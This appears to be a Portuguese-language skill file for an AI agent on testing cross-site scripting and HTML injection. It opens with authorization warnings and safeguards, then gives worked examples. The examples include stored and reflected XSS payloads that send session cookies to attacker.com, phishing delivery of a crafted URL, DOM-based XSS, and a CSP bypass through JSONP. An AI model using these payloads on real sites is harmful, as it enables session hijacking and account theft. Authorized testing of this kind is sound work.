⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Teste de Cross-Site Scripting e Injeção de HTML

Guia Detalhado

Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.

Restrições e Salvaguardas

Limites Operacionais

• Nunca injete payloads que possam danificar sistemas de produção
• Limite a captura de cookies/sessões apenas para fins de demonstração
• Evite payloads que possam se espalhar para usuários não intencionais (comportamento de worm)
• Não exfiltre dados reais de usuários além dos requisitos do escopo

Limitações Técnicas

• A Política de Segurança de Conteúdo (CSP) pode bloquear scripts inline
• Cookies HttpOnly impedem o acesso via JavaScript
• Atributos de cookie SameSite limitam ataques cross-origin
• Frameworks modernos geralmente escapam automaticamente as saídas

Requisitos Legais e Éticos

• Autorização por escrito necessária antes do teste
• Relate vulnerabilidades XSS críticas imediatamente
• Manuseie credenciais capturadas de acordo com os acordos de proteção de dados
• Não use vulnerabilidades descobertas para acesso não autorizado

Exemplos

Exemplo 1: XSS Armazenado na Seção de Comentários

Cenário: Funcionalidade de comentário de blog vulnerável a XSS armazenado

Detecção:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observação: O comentário é renderizado e o script é executado para todos os visualizadores

Payload de Exploração:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Resultado: Todo usuário que visualiza o comentário tem seu cookie de sessão enviado para o servidor do atacante.

Exemplo 2: XSS Refletido via Parâmetro de Busca

Cenário: Página de resultados de busca reflete a consulta sem codificação

URL Vulnerável:

https://shop.example.com/search?q=test

Teste de Detecção:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

URL de Ataque Criado:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Entrega: URL enviado via e-mail de phishing para o usuário alvo.

Exemplo 3: XSS Baseado em DOM via Fragmento Hash

Cenário: JavaScript lê o hash da URL e o insere no DOM

Código Vulnerável:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

URL de Ataque:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

Resultado: O script é executado inteiramente no lado do cliente; o payload nunca atinge o servidor.

Exemplo 4: Bypass de CSP via Endpoint JSONP

Cenário: O site possui CSP, mas permite CDN confiável

Cabeçalho CSP:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Encontre um endpoint JSONP em um domínio confiável:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Resultado: CSP contornado usando uma fonte de script permitida.

Quando Usar

Esta habilidade é aplicável para executar o fluxo de trabalho ou as ações descritas na visão geral.